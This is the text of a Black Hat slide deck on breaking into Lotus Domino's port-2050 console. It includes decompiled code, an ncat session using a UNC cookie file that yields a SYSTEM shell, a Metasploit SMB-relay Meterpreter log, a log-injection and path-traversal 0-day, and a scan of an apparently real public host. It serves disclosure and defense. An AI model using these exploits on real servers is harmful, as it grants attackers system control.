



ERPSan

Security Scanner for SAP

*Invest in security
to secure investments*

Lotus Domino: Penetration Through the Controller

Alexey Sintsov



WWW.BLACKHAT.COM



- Pen-tester at **ERPscan Company**


Job ,
money and
fun
- Researcher


Fun
- Writer at][akep magazine


Self-
importance
and fun
- DCG#7812 POC


Community
and fun



ERPScan
Security Scanner for SAP



Digital Security
Research Group

DAKEP

DEFCON RUSSIA

DCG * 7812



- Innovative company engaged in ERP security R&D
- Part of “Digital Security”, a Russian group of companies founded in 2002
- Flagship product – ERPScan Security Scanner for SAP
- Tools: pen-testing tool, sapsploit, web.xml scanner
- Consulting Services: ERP/SRM/CRM/SCADA/e.t.c
Pen-tests, SAP assessment, SAP code review



What do pen-testers do?

- Scanning
- Fingerprinting
- Banner grabbing
- Play with passwords
- Find vulns.
- Exploit vulns.
- Escalate privs.
- Dig in
- Find ways to make attacks
- And e.t.c.



- Static
 - Source code review
 - regexp
 - formal methods
 - hand testing
 - Reverse Engineering
 - formal methods
 - hands...
- Dynamic
 - Fuzzing (bin/web)
 - + Typical bugs for class
 - + Reverse Engineering
 - Hand testing
- Architecture Analysis (Logic flaws)
- Use vuln. Database (CVE/exploit-db/etc)





Tasks:

- pwn target 8)
 - show most dang. vulns.
- show real attacks and what an attacker can do

Time:

Not much)

Targets:

Large number of targets, different types



- Static
 - ~~Source code review~~
 - regexp
 - formal methods
 - hand testing
 - ~~Reverse Engineering~~
 - formal methods
 - hands...
- Dynamic
 - Fuzzing (bin/web)
 - + Typical bugs for class
 - + Reverse Engineering
 - Hand testing
- Architecture Analysis (Logic flaws)
- Use vuln. Database (CVE/exploit-db/etc)



Bug hunting?

 **Meder Kydryaliev**
@meder

Following 

good security researcher != good penetration tester

38 RETWEETS 3 FAVORITES

7:06 AM - 2 Jul 11 via Twitter for Android · Embed this Tweet


 Reply  Retweeted  Favorite



- New attacks and methods
- 0-day bug hunting
- Something new...
- Exploit development
- Exploitation



Provider



Consumer



Exploit's life



Finding bug
Creating PoC



Creating exploit
Selling



Exploiting
Creating report





ERPScan

Security Scanner for SAP

In real




Finding bug
Creating PoC



Creating exploit
Selling



Exploiting? No!
Creating report



Exploiting? Yep!
Crash...
Creating report?





Target...





Let's see some real stuff

First pen-test

Second pen-test

-

Lotus Domino 8.5.2FP2

Lotus Domino 8.5.3 (the latest)

How to:

Nmap -sV -PN -T5 -p ... 0 192.168.0.13

...

Nmap scan report for targethost (192.168.0.13)

PORT STATE SERVICE VERSION

~~110/tcp open pop3 Lotus Domino POP3 server 8.5.2~~

~~1352/tcp open lotusnotes Lotus Domino server (CN=SERV;Org=Company)~~

~~1533/tcp open http Lotus Domino httpd~~

2050/tcp open ssl/dominocnsole *Lotus Domino Console (domain: domain; description: "COMPANY")*

49152/tcp open http Microsoft HTTP API 2.0

MAC Address: 00:1A:1B:8A:1F:1E (Hewlett Packard)

Service Info: OS: Windows/Longhorn/64 6.1

Pen-tester's actions

- Scan and grab banners
- Detect version



- CVE-2011-0914
- CVE-2011-0915
- CVE-2011-0916
- CVE-2011-0917
- CVE-2011-0919
- CVE-2011-0920

Useless

Useless,
(client-
side)

Useless,
Fixed in
8.5.2...

Pen-tester's actions

- Search for an exploit

The screenshot shows a web browser displaying search results for 'Lotus' on exploit-db.com. The results list several vulnerabilities, each with a date, download link, status (green checkmark), exploit type, and a numerical ID. Three specific vulnerabilities from 2011 are highlighted with orange arrows pointing to the 'Useless' category boxes above them.

Дата	Скачать	Статус	Описание	ID
2011-07-19		-	Lotus Domino SMTP router, EMAIL server and client DoS	1715
2011-06-23		-	Lotus Notes 8.0.x - 8.5.2 FP2 - Autonomy Keyview (.lzh attachment)	2307
2011-04-04		-	IBM Lotus Domino iCalendar MAILTO Buffer Overflow	1279
2011-03-16			LotusCMS 3.0.3 Multiple Vulnerabilities	781
2010-11-11		-	IBM Lotus Domino Web Server Accept-Language Stack Buffer Overflow	657
2010-05-09		-	IBM Lotus Domino Sametime STMux.exe Stack Buffer Overflow	320



Lotus Domino 8.5.2FP2

- CVE-2011-0914
- CVE-2011-0915
- CVE-2011-0916
- CVE-2011-0917
- CVE-2011-0919
- CVE-2011-0920

Auth. issue (CWE-287)

Buffer Errors (CWE-119)

- Private
- DoS risk

- Private
- DoS risk

- None
- DoS risk

- PoC
- DoS risk

- None
- DoS risk

- Private

Pen-tester's actions



Lotus... blah-blah-blah,
has many vuln. issues.
Not public or stable,
exploit are available ...
blah-blah-blah, please
update to 8.5.2FP3 or
8.5.3



No fun...

- No fun...
- Lotus server still not pwned (just in theory)
- If we could pwn it, then maybe we would get MORE

----- BUT -----

- We have no time for research and exploit dev. for those bugs (**CWE-119**)
- It is risky
- It is pen-test and we have other targets...


----- SO -----

Pen-tester is not a researcher? Forget about it?



What do pen-testers do?

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Lotus Domino 8.5.2FP2

- ~~CVE-2011-0914~~
- ~~CVE-2011-0915~~
- ~~CVE-2011-0916~~
- ~~CVE-2011-0917~~
- ~~CVE-2011-0919~~
- CVE-2011-0920

- Time...
- DoS risk

- Time
- DoS risk

- ???

Pen-tester's actions

- Let's do some research...



Vulnerability Details

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Lotus Domino Server Controller. Authentication is not required to exploit this vulnerability.

The flaw exists within the remote console functionality which listens by default on TCP port 2050. When handling A user authentication the server uses a user supplied COOKIEFILE path to retrieve stored credentials. The application then compares this data against the user provided username and cookie. The path to the COOKIEFILE can be a UNC path allowing the attacker to control both the known good credentials and the challenge credentials. A remote attacker can exploit this vulnerability to execute arbitrary code under the context of the SYSTEM user.

Vendor Response

IBM states:

March 22, 2011 - This vulnerability is being disclosed publicly without a patch in accordance with the ZDI 180 day deadline.

-- Mitigations:

Setting a console password
console.

To further mitigate this vuln
application should be restrict

-- February 3, 2012:

IBM provided a link to their patch reference:

<http://www-01.ibm.com/support/docview.wss?uid=swg21461514>

Credit

This vulnerability was discovered by:

Patrik Karlsson <patrik@cqure.net>

ommands available in the

o Server Controller



What is the protocol?

- Googling failed
- But... Patrik's NSE scripts can help:

```
socket:reconnect_ssl()  
...  
socket:send("#API\n")  
socket:send( "#UI %s,%s\n"):format(user,pass) )  
socket:receive_lines(1)  
socket:send("#EXIT\n")  
...
```

→ SSL

```
#UI login,pass\n
```

-
- But what about COOKIE?

Service code is in **dconsole.jar**, so we can decompile it and get protocol descriptions...



Domino Controller

```
// s1 - input from 2050/tcp
if(s1.equals("#EXIT"))
    return 2;
...
if(s1.equals("#APPLET"))
    return 6;
...
if(s1.equals("#COOKIEFILE"))
if(stringtokenizer.hasMoreTokens())
    // Format: #COOKIEFILE cookieFilename
    cookieFilename = stringtokenizer.nextToken().trim();
return 7;
...
if(s1.equals("#UI"))
if(stringtokenizer.hasMoreTokens())
    // Format: #UI usr,pwd
    usr = stringtokenizer.nextToken(",").trim();
    if(usr == null)
        return 4;
    if(stringtokenizer.hasMoreTokens())
        //pwd - password from input
        pwd = stringtokenizer.nextToken().trim();
return 0;
```



Domino Controller

```
do
{
    //main loop
    int i = ReadFromUser();
    ...

    if(i == 6) //if #APPLET
    {
        appletConnection = true;
        continue;
    }

    ...
    // CUT - search usr in admindata.xml
    ...

    if(userinfo == null)
    {
        // If username was not found
        WriteToUser("NOT_REG_ADMIN");
        continue;
    }
}
```



```
    ...  
  
    if(!appletConnection)  
        flag = vrfyPwd.verifyUserPassword(pwd, userinfo.userPWD())  
    else  
        flag = verifyAppletUserCookie(usr, pwd); //If #APPLET  
    }  
  
    if(flag)  
        WriteToUser("VALID_USER");  
    else  
        WriteToUser("WRONG_PASSWORD");  
    } while(true); //Main loop end  
  
    if(flag)  
    {  
        //Auth done...  
        ...
```



verifyAppletUserCookie()

UNC path
here...

```
File file = new File(cookieFilename);  
...  
inputstreamreader = new InputStreamReader(new  
FileInputStream(file), "UTF8");  
...  
inputstreamreader.read(ac, 0, i);  
...  
String s7 = new String(ac);  
...
```



verifyAppletUserCookie()

```
do {
    if(j = s7.indexOf("<user ", j)) <= 0)
        break;

    int k = s7.indexOf(">", j);
    if(k == -1)
        break;

    String s2 = getToken(s7, "user=\"", "\"", j, k);
    ...
    String s3 = getToken(s7, "cookie=\"", "\"", j, k);
    ...
    String s4 = getToken(s7, "address=\"", "\"", j, k);
    ...
    if(usr.equalsIgnoreCase(s2) && pwd.equalsIgnoreCase(s3) &&
       appletUserAddress.equalsIgnoreCase(s4))
    {
        flag = true;
        break;
    }
    ...
} while(true);
...
```

b00m!



Exploit for ZDI-11-110

- echo ^ <user name="admin" cookie="dsecrg" address="10.10.0.1" ^> > n:
\domino2\zdi0day_.txt

```
C:\Users\Alexej>
C:\Users\Alexej>ncat --ssl 10.10.0.2 2050
#API
#UI admin,dsecrg
WRONG_PASSWORD
#APPLET
#COOKIEFILE \\10.10.0.1\domino2\zdi0day_.txt
#USERADDRESS 10.10.0.1
#UI admin,dsecrg
INVALID_USER
#EXIT
$whoami

whoamiBeginData
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Lotus\Domino\data>whoami
nt authority\system

C:\Lotus\Domino\data>
EndData
```



- Privileges for system console
 - If ‘admin’ has enough privileges, he can call OS commands as ‘\$whoami’
- Service password for dangerous functions
 - If service password is not set, then ‘admin’ can call dangerous functions such as ‘LOAD cmd.exe /c net use ...’

One doesn't exclude another!



- If there is a Microsoft AD network
- If Kerberos is not used
- If Lotus Domino runs as “win domain/\$LotusAcc”

```
[*] Started reverse handler on 10.10.0.1:4444
[*] Server started.
msf exploit(smb_relay) > [*] Received 10.10.0.2:50990  CORP\$lotus
557de7 NTHASH:bb19b412001c2d474557de745b9cde19bd12001ace31b7  OS: LM:
[*] Authenticating to 10.10.0.3 as CORP\$lotus...
[*] AUTHENTICATED as CORP\$lotus...
[*] Connecting to the ADMIN$ share...
[*] Regenerating the payload...
[*] Uploading payload...
[*] Created \kZpoTgCP.exe...
[*] Connecting to the Service Control Manager...
[*] Obtaining a service manager handle...
[*] Creating a new service...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \kZpoTgCP.exe...
[*] Sending Access Denied to 10.10.0.2:50990  CORP\$lotus
[*] Sending stage (946176 bytes) to 10.10.0.3
[*] Meterpreter session 1 opened (10.10.0.1:4444 -> 10.10.0.3 :1775) at 2011-08-23 16:16:32 +0400

msf exploit(smb_relay) > sessions -i 1
[*] Starting interaction with 1...
```



Fix №1

The screenshot shows a code editor with two panels. The left panel contains code from line 294 to 312. The right panel contains code from line 299 to 309. A red box highlights a portion of the code in the left panel where a user-controlled string `s1` is concatenated into a file path. This is a classic file inclusion vulnerability.

```
294 }  
295  
296     public boolean  
297     String s1)  
298     {  
299         boolean flag = false;  
300         if(cookieFilename == null ||  
301             cookieFilename.length() == 0)  
302             return flag;  
303         File file = new File(cookieFilename);  
304         if(!file.exists() || file.length() == 0L)  
305             return flag;  
306         InputStreamReader inputstreamreader = null;  
307         Object obj = null;  
308         Object obj1 = null;  
309         Object obj2 = null;  
310         Object obj3 = null;  
311         try  
312         {  
313             .....  
314         }  
315     }  
316 }  
317  
318  
319     out = null;  
320  
321     public boolean verifyAppletUserCookie(String s,  
322                                         String s1)  
323     {  
324         boolean flag = false;  
325         if(cookieFilename == null ||  
326             cookieFilename.length() == 0)  
327             return flag;  
328         String s2 = "." +  
329             System.getProperty("file.separator") +  
330             cookieFilename;  
331         File file = new File(s2);  
332         if(!file.exists() || file.length() == 0L)  
333             return flag;  
334         InputStreamReader inputstreamreader = null;  
335         Object obj = null;  
336         Object obj1 = null;  
337         Object obj2 = null;  
338         .....  
339     }  
340 }
```



Fix №2

We need client's cert. for auth...

```
100 public static SSLServerSocket createServerSocket(int i
101     throws IOException
102 {
103     initSSLContext();
104     if(sslctx == null)
105         return null;
106     SSLServerSocketFactory sslserversocketfactory = ss
107     SSLServerSocket sslserversocket = null;
108     try
109     {
110         sslserversocket = (SSLServerSocket)sslserversoc
111     }
112     catch(IOException ioexception)
113     {
114         System.out.println("createServerSocket=" + ioe
115         throw ioexception;
116     }
117     return sslserversocket;
118 }
119 }
```

```
100 public static SSLServerSocket createServerSocket(int i
101     throws IOException
102 {
103     initSSLContext();
104     if(sslctx == null)
105         return null;
106     SSLServerSocketFactory sslserversocketfactory = ss
107     SSLServerSocket sslserversocket = null;
108     try
109     {
110         sslserversocket = (SSLServerSocket)sslserversoc
111         sslserversocket.setNeedClientAuth(true);
112     }
113     catch(IOException ioexception)
114     {
115         System.out.println("createServerSocket=" + ioe
116         throw ioexception;
117     }
118     return sslserversocket;
119 }
```



Let's see some real stuff

First pen-test

-

Lotus Domino 8.5.2FP2

Second pen-test

-

Lotus Domino 8.5.3 (the latest)

How to:

Nmap -sV -PN -T5 -p ... 0 192.168.0.13

...

Nmap scan report for targethost (192.168.0.13)

PORT STATE SERVICE VERSION

110/tcp open pop3 Lotus Domino POP3 server 8.5.3

1352/tcp open lotusnotes Lotus Domino server (CN=SERV;Org=Company)

1533/tcp open http Lotus Domino httpd

2050/tcp open ssl/unknown

49152/tcp open http Microsoft HTTP API 2.0

MAC Address: 00:1A:1B:8A:1F:1E (Hewlett Packard)

Service Info: OS: Windows/Longhorn/64 6.1

Pen-tester's actions

- OR...



And again... verifyAppletUserCookie()

```
do {  
    if((j = s7.indexOf("<user ", j)) <= 0)  
        break;  
  
    int k = s7.indexOf(">", j);  
    if(k == -1)  
        break;  
  
    String s2 = getToken(s7, "user=\"\"", "\",", k);  
    ...  
    String s3 = getToken(s7, "cookie=\"\"", "\",", j, k);  
    ...  
    String s4 = getToken(s7, "name=\"\"", "\",", j, k);  
    ...  
    if(usr.equalsIgnoreCase(appletUserAddress))  
        if(ignoreCase(s3) &&\br/>            ignoreCase(s4))  
                flag = true;  
        break;  
    ...  
} while(true);  
...
```

...
s7.substring()
...

**HandMade XML
“parser”... on Java...**



cookie.xml:

```
<?xml version="1.0" encoding="UTF-8"?>
<user name="admin" cookie="dsecrg" address="10.10.0.1">
```

Valid

cookie2.xml.trash:

```
There is a good <user xml file!
andname="admin" willbefound
as cookie="dsecrg" andaddress="10.10.0.1"hooray!
>and blah-blah
```



cookie.xml:

```
<?xml version="1.0" encoding="UTF-8"?>
<user name="admin" cookie="dsecrg" address="10.10.0.1">
```

Valid

cookie2.xml.trash:

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There is a good <user xml file!
andname="admin" will be found
as cookie="dsecrg" and address="10.10.0.1" hooray!
> and blah-blah-blah
```



cookie.xml:

```
<?xml version="1.0" encoding="UTF-8"?>
<user name="admin" cookie="dsecrg" address="10.10.0.1">
```

Valid

cookie2.xml.trash:

```
There is a good <user xml file!
andname="admin" will be found
as cookie="dsecrg" and address="10.10.0.1" hooray!
> and blah-blah-blah
```

Valid



XML cookie Injection

```
Nmap -sV -PN -T5 -p ... 0 192.168.0.13
```

...

Nmap scan report for targethost (192.168.0.13)

PORT	STATE	SERVICE	VERSION
------	-------	---------	---------

110/tcp	open	pop3	<i>Lotus Domino POP3 server 8.5.3</i>
---------	------	------	---------------------------------------

1352/tcp	open	lotusnotes	Lotus Domino server (CN=SERV;Org=Company)
----------	------	------------	---

1533/tcp	open	http	<i>Lotus Domino httpd</i>
----------	------	------	---------------------------

2050/tcp	open	ssl/unknown	
-----------------	------	-------------	--

<u>49152/tcp</u>	open	http	<i>Microsoft HTTP API 2.0</i>
-------------------------	------	------	--------------------------------------

MAC Address: 00:1A:1B:8A:1F:1E (Hewlett Packard)

Service Info: OS: Windows/Longhorn/64 6.1



XML cookie Injection

```
ncat targethost 49152
```

```
GET /<user name="admin"cookie="pass"address="111"> HTTP/1.0\r\n\r\n
```

c:\windows\system32\logfiles\httperr\httperr1.log:

```
#Software: Microsoft HTTP API 2.0
```

```
#Version: 1.0
```

```
#Date: 2011-08-22 09:19:16
```

```
#Fields: date time c-ip c-port s-ip s-port cs-version cs-method cs-uri sc-status  
s-siteid s-reason s-queueusername
```

```
2011-08-22 09:19:16 10.10.10.101 46130 10.10.9.9 47001 - - - 400 - BadRequest -
```

```
2011-08-22 09:19:16 10.10.10.101 46234 10.10.9.9 47001 HTTP/1.0
```

```
GET /<user%20name="admin"cookie="pass"address="111"> 404 - NotFound -
```



```
ncat targethost 49152  
GET /<user HTTP/1.0
```

```
ncat targethost 49152  
GET /name="admin"cookie="pass"address="111" HTTP/1.0
```

```
c:\windows\system32\logfiles\httperr\httperr1.log:  
#Software: Microsoft HTTP API 2.0  
#Version: 1.0  
#Date: 2011-08-22 09:19:16  
#Fields: date time c-ip c-port s-ip s-port cs-version cs-method cs-uri sc-status  
s-siteid s-reason s-queuename  
2011-08-22 09:19:16 10.10.10.101 46130 10.10.9.9 47001 - - - 400 - BadRequest -  
2011-08-22 09:19:16 10.10.10.101 46234 10.10.9.9 47001 HTTP/1.0  
GET /<user 404 - NotFound -  
2011-08-22 09:19:16 10.10.10.101 46234 10.10.9.9 GET /name="admin"cookie="pass"  
address="111"> 404 - NotFound -
```



What about client's cert?

dconsole.jar

lotus	29.02.2012 12:14
META-INF	29.02.2012 12:14
jconsole.jks	06.08.2004 9:30



```
C:\Users\Alexej>keytool -list -keystore d:\jconsole.jks -storepass andhrawala
Keystore type: JKS
Keystore provider: SUN

Your keystore contains 20 entries

domino server console ca, 11.06.2004, trustedCertEntry,
Certificate fingerprint (MD5): 3C:5F:D0:25:D3:C5:2E:AF:9A:BA:A9:B9:89:1B:49:1D
verisign class 1 public primary certification authority - g2, 11.06.2004, trustedCertEntry.
Certificate fingerprint (MD5): DB:23:3D:F9:69:FA:4B:B9:95:80:44:73:5E:7D:41:83
verisign class 2 public primary certification authority, 11.06.2004, trustedCertEntry.
Certificate fingerprint (MD5): B3:9C:25:B1:C3:2E:32:53:80:15:30:9D:4D:02:77:3E
rsa secure server certification authority, 11.06.2004, trustedCertEntry.
Certificate fingerprint (MD5): 74:7B:82:03:43:F0:00:9E:6B:B3:EC:47:BF:85:A5:93
verisign class 2 public primary certification authority - g2, 11.06.2004, trustedCertEntry.
Certificate fingerprint (MD5): 2D:BB:E5:25:D3:D1:65:82:3A:B7:0E:FA:E6:EB:E2:E1
verisign class 3 public primary certification authority, 11.06.2004, trustedCertEntry.
Certificate fingerprint (MD5): 10:FC:63:5D:F6:26:3E:0D:F3:25:BE:5F:79:CD:67:67
verisign test ca root certificate, 11.06.2004, trustedCertEntry.
```



0-day exploit (tested on 8.5.3)

```
<applet name = "DominoConsole"  
code = "lotus.domino.console.DominoConsoleApplet.class"  
codebase = "http://127.0.0.1/domjava/"  
archive = "dconsole.jar"  
width = "100%"  
height = "99%>  
  
<PARAM NAME="debug" VALUE="true">  
<PARAM NAME="port" VALUE="2050">  
<PARAM NAME="useraddress" VALUE="http://twitter/asintsov">  
<PARAM NAME="username" VALUE="admin">  
<PARAM NAME="cookiefile" VALUE="\..\..\..\windows\system32\logfiles\httperr\httperr1.log">  
<PARAM NAME="cookievalue" VALUE="pass">  
<PARAM NAME="onLoad" VALUE="onLoadConsole">  
</applet>
```



ERPScan
Security Scanner for SAP

DEMO





Internet/CyberWar/APT/Booo!

The screenshot shows the ERPScan interface on the left and a Command Prompt window on the right.

ERPScan Interface (Left):

- Alesund:**
 - Details
 - ed.scout@usgs.gov** (circled in red)
- Windows 2000 (Herndon):**
 - Added on 07.10.2011
 - Details
 - ed.scout@usgs.gov** (circled in red)
- 203.125.41.18 (Singapore):**
 - Windows 2000
 - Added on 07.10.2011
 - Details

Command Prompt (Right):

```
C:\Users\Alexej>nmap -sU -p 2050 130.212.172.20
Starting Nmap 5.51 < http://nmap.org > at 2011-10-20 15:49 | поэлементно тЕхъ
p>
Nmap scan report for edscout.usgs.gov (130.212.172.20)
Host is up (0.14s latency).
PORT      STATE SERVICE          VERSION
2050/tcp   open  ssl/dominoconsole Lotus Domino Console <domain: gsu.scout.usgs.gov>
Description: "Weston Development Server (Restricted Replication Access)"'
Service Info: Host: SQUID-1; OS: Windows/2003 5.2 Intel Pentium


Service detection performed. Please report any incorrect results at http://
org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.68 seconds
C:\Users\Alexej>
```



- Pen-tester will get more profit if he tries to research something // thx Cap!
- Good pen-tester ∩ good security researcher
- We got 0-day 8)

To admins:

- Set filter on 2050/tcp
- Use both mitigations
 - Less privileges for console user
 - Set service password on console





Thank you!



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